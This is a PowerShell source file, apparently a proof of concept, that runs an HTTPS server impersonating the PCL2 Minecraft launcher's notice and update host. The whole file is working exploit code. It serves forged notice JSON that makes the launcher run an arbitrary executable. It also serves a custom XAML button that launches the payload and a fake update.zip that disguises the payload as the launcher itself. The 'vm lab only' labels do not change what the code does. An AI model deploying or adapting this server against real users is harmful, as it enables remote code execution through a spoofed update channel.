1
0

server.ps1 8.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247
  1. #Requires -Version 5.1
  2. <#
  3. .SYNOPSIS
  4. Pure PowerShell HTTPS server for the PCL2 notice.json PoC.
  5. .DESCRIPTION
  6. Serves forged notice.cfg / notice.json / ServerConfig.json / update.zip /
  7. Custom.xaml over TLS on 127.0.0.1. No Python required.
  8. The TLS certificate can come from either:
  9. - a certificate in Cert:\LocalMachine\My (pass -CertThumbprint), or
  10. - a PFX file (pass -PfxPath / -PfxPassword), useful for testing.
  11. Request handling is intentionally minimal: one GET per connection,
  12. HTTP/1.1, Connection: close. PCL's HttpClient is fine with that.
  13. .PARAMETER Mode
  14. launch | update | xaml | both
  15. .PARAMETER CertThumbprint
  16. Thumbprint of a LocalMachine\My certificate with a private key.
  17. .PARAMETER PfxPath
  18. Optional PFX file (testing / non-Windows PowerShell).
  19. .EXAMPLE
  20. powershell -File .\server.ps1 -Mode update -Port 443 `
  21. -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint ABC123...
  22. #>
  23. [CmdletBinding()]
  24. param(
  25. [ValidateSet('launch', 'update', 'xaml', 'both')]
  26. [string]$Mode = 'both',
  27. [int]$Port = 443,
  28. [string]$Bind = '127.0.0.1',
  29. [string]$PayloadExe = 'C:\Users\Public\pclpoc.exe',
  30. [string]$CertThumbprint = '',
  31. [string]$PfxPath = '',
  32. [string]$PfxPassword = ''
  33. )
  34. $ErrorActionPreference = 'Stop'
  35. $Domain = 'pcl2-server-1253424809.file.myqcloud.com'
  36. $NoticeId = 11002
  37. $ConfigVersion = 999
  38. $BaseDir = if ($PSScriptRoot) { $PSScriptRoot } else { Split-Path -Parent $MyInvocation.MyCommand.Path }
  39. $WwwDir = Join-Path $BaseDir 'www'
  40. New-Item -ItemType Directory -Force -Path $WwwDir | Out-Null
  41. function Write-SrvLog {
  42. param([string]$Message)
  43. Write-Host ('[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message)
  44. }
  45. function Get-TlsCertificate {
  46. if ($PfxPath) {
  47. if (-not (Test-Path -LiteralPath $PfxPath)) {
  48. throw "PFX not found: $PfxPath"
  49. }
  50. $c = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList @($PfxPath, $PfxPassword)
  51. if (-not $c.HasPrivateKey) { throw "PFX has no private key: $PfxPath" }
  52. return $c
  53. }
  54. if (-not $CertThumbprint) {
  55. throw 'Either -CertThumbprint or -PfxPath is required.'
  56. }
  57. $path = $null
  58. foreach ($candidate in @("Cert:\LocalMachine\My\$CertThumbprint", "Cert:\CurrentUser\My\$CertThumbprint")) {
  59. if (Test-Path -LiteralPath $candidate) { $path = $candidate; break }
  60. }
  61. if (-not $path) {
  62. throw "Certificate not found in LocalMachine\My or CurrentUser\My: $CertThumbprint"
  63. }
  64. $c = Get-Item -LiteralPath $path
  65. if (-not $c.HasPrivateKey) {
  66. throw "Certificate has no private key: $path"
  67. }
  68. return $c
  69. }
  70. function ConvertTo-JsonText {
  71. param([object]$Object)
  72. return ($Object | ConvertTo-Json -Depth 12 -Compress)
  73. }
  74. function Build-NoticeJson {
  75. $setup = @{}
  76. $actions = @{}
  77. if ($Mode -eq 'launch' -or $Mode -eq 'both') {
  78. $setup['LaunchAdvanceRun'] = $PayloadExe
  79. $setup['LaunchAdvanceRunWait'] = 'False'
  80. }
  81. if ($Mode -eq 'xaml' -or $Mode -eq 'both') {
  82. $setup['UiCustomType'] = '2'
  83. $setup['UiCustomNet'] = "https://$Domain/Custom.xaml"
  84. $setup['HintCustomCommand'] = 'True'
  85. }
  86. if ($setup.Count -gt 0) { $actions['setup'] = $setup }
  87. if ($Mode -eq 'update' -or $Mode -eq 'both') { $actions['slientupdate'] = @{} }
  88. $notice = @(
  89. @{
  90. id = $NoticeId
  91. title = 'VM LAB NOTICE'
  92. description = 'vm lab only'
  93. requirements = @{}
  94. importantLevel = 999
  95. actions = $actions
  96. }
  97. )
  98. $json = ConvertTo-JsonText -Object $notice
  99. # Windows PowerShell 5.1 collapses a single-element array to an object.
  100. if (-not $json.TrimStart().StartsWith('[')) { $json = "[$json]" }
  101. return $json
  102. }
  103. function Build-ServerConfigJson {
  104. $cfg = @{
  105. Version = $ConfigVersion
  106. Update = @{
  107. Release = @{
  108. DownloadUrls = @("https://$Domain/update.zip")
  109. }
  110. }
  111. }
  112. return (ConvertTo-JsonText -Object $cfg)
  113. }
  114. function Build-CustomXaml {
  115. return @"
  116. <StackPanel Margin="25,40,23,15">
  117. <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
  118. <local:MyButton Text="Continue" EventType="4" EventData="$PayloadExe" Margin="0,6,0,0"/>
  119. </StackPanel>
  120. "@
  121. }
  122. function Ensure-UpdateZip {
  123. $zip = Join-Path $WwwDir 'update.zip'
  124. if (Test-Path -LiteralPath $zip) { return }
  125. if (-not (Test-Path -LiteralPath $PayloadExe)) {
  126. throw "Payload not found: $PayloadExe"
  127. }
  128. $tempRoot = [IO.Path]::GetTempPath()
  129. $tmp = Join-Path $tempRoot ('pclpoc-' + [guid]::NewGuid().ToString('N'))
  130. New-Item -ItemType Directory -Force -Path $tmp | Out-Null
  131. try {
  132. Copy-Item -LiteralPath $PayloadExe -Destination (Join-Path $tmp 'Plain Craft Launcher 2.exe') -Force
  133. if (Test-Path -LiteralPath $zip) { Remove-Item -LiteralPath $zip -Force }
  134. Compress-Archive -Path (Join-Path $tmp 'Plain Craft Launcher 2.exe') -DestinationPath $zip -Force
  135. } finally {
  136. Remove-Item -LiteralPath $tmp -Recurse -Force -ErrorAction SilentlyContinue
  137. }
  138. Write-SrvLog "update.zip built from $PayloadExe ($((Get-Item -LiteralPath $zip).Length) bytes)"
  139. }
  140. function Get-Response {
  141. param([string]$Path)
  142. switch ($Path) {
  143. '/notice.cfg' {
  144. $text = "$NoticeId|0|0|0|$ConfigVersion"
  145. return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes($text) }
  146. }
  147. '/notice.json' {
  148. return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-NoticeJson)) }
  149. }
  150. '/ServerConfig.json' {
  151. return @{ Type = 'application/json; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-ServerConfigJson)) }
  152. }
  153. '/Custom.xaml.ini' {
  154. return @{ Type = 'text/plain; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes('1') }
  155. }
  156. '/Custom.xaml' {
  157. return @{ Type = 'application/xml; charset=utf-8'; Bytes = [Text.Encoding]::UTF8.GetBytes((Build-CustomXaml)) }
  158. }
  159. '/update.zip' {
  160. $zip = Join-Path $WwwDir 'update.zip'
  161. if (Test-Path -LiteralPath $zip) {
  162. return @{ Type = 'application/zip'; Bytes = [IO.File]::ReadAllBytes($zip) }
  163. }
  164. }
  165. }
  166. return @{ Type = 'text/plain'; Bytes = [Text.Encoding]::UTF8.GetBytes('not found'); Code = 404 }
  167. }
  168. # ---------------------------------------------------------------------------
  169. # main
  170. # ---------------------------------------------------------------------------
  171. $cert = Get-TlsCertificate
  172. if ($Mode -eq 'update' -or $Mode -eq 'both') { Ensure-UpdateZip }
  173. $address = [Net.IPAddress]::Parse($Bind)
  174. $listener = New-Object Net.Sockets.TcpListener -ArgumentList @($address, $Port)
  175. $listener.Start()
  176. Write-SrvLog "https://${Bind}:$Port mode=$Mode"
  177. Write-SrvLog "forged host: $Domain"
  178. while ($true) {
  179. $client = $listener.AcceptTcpClient()
  180. $ssl = $null
  181. try {
  182. $ssl = New-Object Net.Security.SslStream -ArgumentList @($client.GetStream(), $false)
  183. $ssl.AuthenticateAsServer($cert, $false, [Net.SecurityProtocolType]::Tls12, $false)
  184. $reader = New-Object IO.StreamReader -ArgumentList @($ssl, [Text.Encoding]::ASCII)
  185. $requestLine = $reader.ReadLine()
  186. if ([string]::IsNullOrEmpty($requestLine)) { continue }
  187. while ($true) {
  188. $header = $reader.ReadLine()
  189. if ($null -eq $header -or $header -eq '') { break }
  190. }
  191. $parts = $requestLine -split ' '
  192. if ($parts.Length -lt 2) { continue }
  193. $path = $parts[1].Split('?')[0]
  194. $resp = Get-Response -Path $path
  195. $code = if ($resp.ContainsKey('Code')) { $resp.Code } else { 200 }
  196. $status = if ($code -eq 200) { 'OK' } else { 'Not Found' }
  197. $headerText = "HTTP/1.1 $code $status`r`nContent-Type: $($resp.Type)`r`nContent-Length: $($resp.Bytes.Length)`r`nConnection: close`r`n`r`n"
  198. $headerBytes = [Text.Encoding]::ASCII.GetBytes($headerText)
  199. $ssl.Write($headerBytes, 0, $headerBytes.Length)
  200. $ssl.Write($resp.Bytes, 0, $resp.Bytes.Length)
  201. $ssl.Flush()
  202. Write-SrvLog "req $path -> $code"
  203. } catch {
  204. Write-SrvLog "err $($_.Exception.Message)"
  205. } finally {
  206. if ($ssl) { $ssl.Dispose() }
  207. $client.Close()
  208. }
  209. }